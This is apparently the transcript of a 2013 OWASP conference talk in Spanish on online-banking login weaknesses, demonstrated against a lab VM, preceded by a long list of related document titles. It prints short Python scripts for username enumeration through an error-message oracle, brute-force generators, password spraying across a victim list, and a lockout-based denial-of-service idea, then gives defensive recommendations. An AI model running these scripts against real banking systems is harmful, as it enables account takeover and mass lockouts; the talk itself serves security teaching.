Inseguridad Bancaria en linea

Documentos relacionados
WebApp Penetration Testing

Ataques XSS en Aplicaciones Web

SECURITY DAY PERU. Ataques a las Aplicaciones Web. Explotación de Aplicaciones Web. Technologies SOLUTIONS FOR KEEPING YOUR BUSINESS UP

Introducción a OWASP OWASP. The OWASP Foundation

Pruebas de Seguridad en aplicaciones web segun OWASP Donde estamos... Hacia donde vamos?

Web Application exploiting and Reversing Shell

OWASP Top Los diez riesgos más importantes en aplicaciones web. The OWASP Foundation. Felipe Zipitría

Escáner de vulnerabilidades para aplicaciones web y gestores de contenido

Modelado de Amenazas Una Introducción

Session Hijacking: Secuestro de sesiones en aplicaciones web empresariales

Gastón Toth Lic. en Computación CEH Pentester

Bypassing your.htaccess

Desarrollo Seguro usando OWASP

Hacking Ético Web. I Jornadas Tecnológicas CEEPS Carlos García García i52gagac@uco.es

Optimización de Inyecciones SQL

WAPITI. Escaner de vulnerabilidades de aplicaciones web y auditor de seguridad. VI OWASP Spain Chapter Meeting

Seguridad WEB Inyección de código

La OWASP Foundation y los objetivos del capítulo español OWASP 16/6/2006. The OWASP Foundation

Datos Personales en el Ciclo de Vida de Desarrollo Seguro

Capturando y explotando servidores de correo ocultos OWASP 16/6/2006. The OWASP Foundation

Seminario de SEGURIDAD WEB. Pedro Villena Fernández

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez

Máster Profesional en Tecnologías de Seguridad. Seguridad en la web

.com [IN]SEGURIDAD WEB ING. SAUL MAMANI M.

VÍDEO intypedia007es LECCIÓN 7: SEGURIDAD EN APLICACIONES WEB. INTRODUCCIÓN A LAS TÉCNICAS DE INYECCIÓN SQL. AUTOR: Chema Alonso

Desarrollo de Código Seguro. Seguridad en PHP. Introducción. Register Globals

Seguridad en Aplicaciones Web

SQL INJECTION. Benitez, Marcelo Chinikailo, Cristian De la Cruz, Leonardo Klas, Julián Criptografía y Seguridad Informática.

Conexión Remota Usando OpenSSH Con Claves Publicas Integrante: Felix Taborda.

Seguridad en Sistemas Informáticos (SSI) Programación Segura

Auditoría Técnica de Seguridad de Aplicaciones Web

CAPÍTULO 14. DESARROLLO

Pentesting con OWASP Zed Attack Proxy

Seguridad en Aplicaciones Web

Desarrollo Seguro usando OWASP

Ingeniero Técnico en Informática - UCA Máster en Ingeniería del Software - US Máster en Seguridad de las TIC - US

ArCERT Jornadas de Seguridad Informática 2009

ANÁLISIS DE LAS PRINCIPALES VULNERABILIDADES DE UN SISTEMA INFORMÁTICO

Ejemplo de aplicación PHP: Tienda

Agenda. OWASP Seguridad Para Móviles. Introducción Riesgos más comunes Vulnerabilidades más comunes Mejores Prácticas Recomendaciones & Conclusiones

Capítulo 4 Pruebas e implementación de la aplicación CAPÍTULO 4 PRUEBAS E IMPLEMENTACIÓN DE LA APLICACIÓN

POLICÍA FEDERAL DIVISIÓN CIENTÍFICA ROBO DE IDENTIDAD EN INTERNET: USO INDEBIDO DE DATOS PERSONALES

Introducción a ataques de tipo inyección: Inyección SQL

Introducción a Plone y Zope. Presentación introductoria sobre Plone y las tecnologías utilizadas, como Zope y Python.

Sistema Automatizado para la Firma y el Estampado Electrónico de Tiempo (Safet)

FORMACIÓN PRESENCIAL ESPECIALIZADA - SEGURIDAD EN ENTORNOS WEB - MODULO I ENTORNO DE DESARROLLO WEB. MYSQL+PHP AUDITOR DE SEGURIDAD EN ENTORNOS WEB.

Año 2012 ENHACKE ENHACKE CERTIFICATE IN WEBAPP PENTESTING. Curso Oficial de Certificación ENHACKE CURSOS

AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web

Centro de Capacitación en Tecnologías de la Información

Cross Site Scripting. Conceptos Básicos y Casos prácticos. Antonio González Castro antonio@noveria.es

100% Laboratorios en Vivo

Inseguridad de los sistemas de autenticación en aplicaciones web

Aplicaciones Web (Curso 2015/2016)

Especificaciones Técnicas para Ethical Hacking

GENEXUS & OWASP TOP 10

Ataques específicos a servidores y clientes web y medidas preventivas. Problemas de seguridad Web

OWASP: Un punto de vista. aplicaciones web seguras

Seguridad en Home Banking. Tendencias de la Tecnología en Seguridad Informática Argentina 2010

POLICÍA FEDERAL DIVISIÓN CIENTÍFICA COORDINACIÓN PARA LA PREVENCIÓN DE DELITOS ELECTRÓNICOS SEGURIDAD EN APLICACIONES WEB PRIMERA PARTE

Proyecto PLUMA Plataforma Universal Microcontrolada Aplicaciones didácticas e industriales

Inyección SQL. Juan Manuel Espinoza Marquez CFT San Agustín Linares -2012

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team

COMO ABORDAR LOS RECURSOS EN EL ENTORNO DE APRENDIZAJE PRACTICO

MASTER EN HACKING ÉTICO

Seguridad en el desarrollo

Breve resumen de cómo compartir un recurso de linux con windows, utilizando samba.

Presentación de Servicios. Soluciones Profesionales en Sistemas Web

S E G U R I D A D E N A P L I C A C I O N E S W E B

Desarrollo Web con PHP

Iniciativas Existentes El modelo SAMM Aplicación de SAMM Niveles y Actividades SAMM SAMM en el mundo real Proyecto OpenSAMM AppSec Latam 2011

CAPÍTULO 2: SISTEMAS DE DETECCIÓN DE INTRUSOS

El regreso de los Boinas Negras Solución al II Reto de Hacking Web Boinas Negras II

Temario Programación Web para Web

CEFIRE de Valencia Curso Iniciación a Edubuntu Código: 07VA66EA036

6. RIESGOS POTENCIALES EN LOS SERVICIOS DE RED:

==== Introducción. ==== Buscando un fallo

Seguridad de un Portal

PHP 7 Desarrollar un sitio web dinámico e interactivo

Implementación de una Solución Tecnológica para la Gestión y Control de la Planificación Institucional del Gobierno Regional de Los Lagos

PROGRAMACIÓN PÁGINAS WEB CON PHP

RETO HACKER DE VERANO

Solucionario Reto: SecOS-1

DAW Curso GESTORES DE CONTENIDO

Desarrollo de sitios web con PHP y MySQL

About Me. Mario Robles Tencio

TEMA 1.- Conceptos Generales y Entorno de Trabajo Objetivo

Sistema de Gestión de Contactos y Administración

PÁGINAS DINÁMICAS WEB CON PHP. Unidad 4 Aplicaciones Web

GUIA RÁPIDA DE VNC Antonio Becerro 2005

Seguridad en Sistemas Informáticos Seguridad y WWW. Mikel Izal Azcárate (mikel.izal@unavarra.es)

Como administrar el ancho de banda en una red con Windows X como servidor

Transcripción:

OWASP AppSec Latam Tour Venezuela 2013 The OWASP Foundation http://www.owasp.org Inseguridad Bancaria en linea Ruben Recabarren CISSP-ISSAP, GSE, CyberGuardian (red team) Consultor de Seguridad Informática http://latinsec.blogspot.com @latinsec Copyright The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

2 Quien soy? Ruben Recabarren Consultor ITSec por 10+ años Especialista en pruebas de penetración. Criptografía, protocolos de comunicación segura. CISSP, CISSP-ISSAP, GIAC - GSEC, GCIA, GCIH, GWAPT, GPEN, GAWN, GCFA, Cyber Guardian (red team), GSE.

3 Agenda Hackeando tu banca en linea. Introducción del escenario. Enumeración de usuarios. Adivinación de usuarios con contraseñas débiles. Denegación de servicios (masivo/dirigido) Reflexiones. Preguntas & Comentarios

4 Escenario Máquina virtual con sistema de banca en linea diseñado para esta presentación. Punto de acceso inalámbrico. ESSID: OwaspHacking Pass: hackmebank Alcance: sólo el sistema virtual con IP: 192.168.10.2

5 El sistema Pruebas de penetración para aplicaciones web Formulario de Login Páginas dinámicas: php, bd: MySQL,etc Evaluar acceso no autorizado.

6 Primer paso? Pruebas de penetración para Banca en Linea Reconocimiento suplantado en la intro Escaneo automatizado OWASP Top 10 Inyección SQL, XSS? Pruebas manuales. ---- DEMO ----- (login form)

7 Enumeración Enumeración de usuarios Propiedad de Oraculo Botón derecho deshabilitado Protección del Source Code de la página web. Client-side scripting - JavaScript. Cómo se evaden estos mecanismos?

8 Vuln's Obvias USERNAME Guessing Cómo se llevan a cabo estos ataques? HINT: Lenguajes de scripting Condimentos base: Un loop un if-then-else Salsa secreta: Multi-threading

9 Enumeración Evasión de protecciones del lado del cliente: #! /usr/bin/python import urllib url = 'http://192.168.10.2/' res = urllib.urlopen(url).read() POST req parms user y pass DEMO (uno.py)

1 0 Enumeración #! /usr/bin/python import urllib url = 'http://192.168.10.2/' values = {'user':'ruben','pass':'xxx'} data = urllib.urlencode(values) res = urllib.urlopen(url,data).read() Detección de la presencia del oráculo. - (dos.py)

1 1 Enumeración #! /usr/bin/python import urllib,re url = 'http://192.168.10.2/' values = {'user':'ruben','pass':'xxx'} data = urllib.urlencode(values) res = urllib.urlopen(url,data).read() m = re.search('fallidos',res) ---- Condicion de oráculo If m: print user es valido --- DEMO --- (tres.py)

1 2 Generadores Import itertools def generador(charset,longitud): For i in xrange(1,longitud+1): For x in itertools.product(charset,repeat=i) yield ''.join(x) --- DEMO --- (cuatro.py)

1 3 Users predecibles Facilidad de registro Utilizar un instrumento que ya posea el cliente Asumamos username de la forma: 6060 6060 60XXXXXXX Generados 10mil usuarios aleatoriamente Generaciones sparse son peores. DEMO (cinco.py)

1 4 Resultados Para usuarios predecibles: 200 en 10 minutos. Unas cuantas horas para recuperar todos. Para un atacante real este tiempo es insignificante. Es razonable asumir que tu atacante puede conseguir la totalidad sin mucho esfuerzo. Victimas.txt contiene la mitad (5mil)

1 5 Segund paso Que hacer con una lista de usuarios válidos? En lugar de adivinar la contraseña de un usuario Adivinar un USUARIO con una contraseña debil. Recorrer la lista de usuarios usando una sola contraseña Podemos intentar hasta 3 veces esto.

Segund paso #! /usr/bin/python import urllib,re url = 'http://192.168.10.2/' victimas = open('victimas.txt','r') for user in victimas: user = user[:-1] passw = "6666" # Your lucky guess! values = {'user':user,'pass':passw} data = urllib.urlencode(values) res = urllib.urlopen(url,data).read() m = re.search(r'incorrecta Bloqueada',res) if not m: print "BINGO! " + user + ":" + passw -- DEMO -- (seis.py)

1 7 Segund paso Que hacer con una lista de usuarios válidos? Sin la contraseña no podemos conseguir el acceso no autorizado. Denegación de servicio total. Requerimiento de ancho de banda mínimo. Difícil de detener, difícil de remediar.

1 8 Tercer paso ESTAMOS ADENTRO Enumeración de funcionalidad. Enumeración de requests. Otra vez desde el principio (Scan, OWASP, manual) Errores de lógica, de procesos, o simple manipulacion de parametros. Un grandísimo ETC.

1 9 Reflexiones Para que un nombre de usuario? Resolver problema de usuarios con el mismo password. Sistema equivalente: concat(user,pass) Todavia es algo que conoces. Reutilización de usuarios. Nombre de usuario aleatorio?

2 0 Recomendaciones Evaluación específica (no hay balas de plata). Eliminar en lo posible la situación de oráculo. Cómo? (Timing Attacks) Hacer el proceso más lento. Agrandar el espacio de búsqueda. Monitoreo!!!

Preguntas & Comentarios

2 2 Contacto http://latinsec.blogspot.com @latinsec recabarren@gmail.com